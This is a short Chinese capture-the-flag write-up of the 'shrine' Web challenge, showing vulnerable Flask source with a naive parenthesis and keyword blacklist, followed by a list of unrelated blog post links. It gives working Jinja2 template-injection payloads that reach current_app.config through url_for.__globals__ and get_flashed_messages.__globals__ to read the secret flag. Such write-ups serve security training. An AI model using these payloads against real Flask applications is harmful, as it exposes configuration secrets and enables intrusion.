攻防世界-Web-shrine

知识点

1.SSTI

步骤

打开网站,是一份pythone flask框架代码,分析。

python 复制代码
import flask
import os

app = flask.Flask(__name__)
app.config["FLAG"] //将flag写入config中
l = os.environ.pop("FLAG")


@app.route("/")   //访问根目录,读取__file__的内容
def index():
    return open(__file__).read()


@app.route("/shrine/")
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace("(", "").replace(")", "") //过滤括号
        blacklist = ["config", "self"]    //黑名单,过滤config和self
        return "".join(["{{% set {}=None%}}".format(c) for c in blacklist]) + s //按照黑名单的过滤

    return flask.render_template_string(safe_jinja(shrine))  //存在模版注入


if __name__ == "__main__":
    app.run(debug=True)

可以发现在config中存在flag,所以目标就是读取config

1.测试模版注入

2.正常读取config

发现被过滤成None

3.尝试其他读取方式

使用get_flashed_messages或者url_for.__globals读取config

python 复制代码
{{url_for.__globals__['current_app'].config}}

{{get_flashed_messages.__globals__['current_app'].config}}

flag{shrine_is_good_ssti}

相关推荐
im_AMBER10 小时前
Web 开发 29
前端·学习·web
缘友一世10 小时前
活动目录的枚举学习
学习·网络安全·网路攻击
Tajang14 小时前
推荐一个浏览器代理插件(Tajang Proxy),支持Chrome和Edge
前端·chrome·网络安全·渗透测试·靶场·edge
卓码软件测评14 小时前
【第三方网站代码登记测试_HTTP头语法代码详解】
网络·网络协议·http·架构·web
lubiii_1 天前
SQLMap常用命令指南(参数及其用法)
sql·web安全·网络安全
北'辰1 天前
VMware安装Kali-Linux
linux·网络安全
盛满暮色 风止何安1 天前
防火墙的类别和登录Web的方法
linux·运维·服务器·网络·网络协议·tcp/ip·网络安全
被巨款砸中1 天前
Jessibuca 播放器
前端·javascript·vue.js·web
风语者日志2 天前
CTF攻防世界WEB精选基础入门:command_execution
web安全·网络安全·ctf·小白入门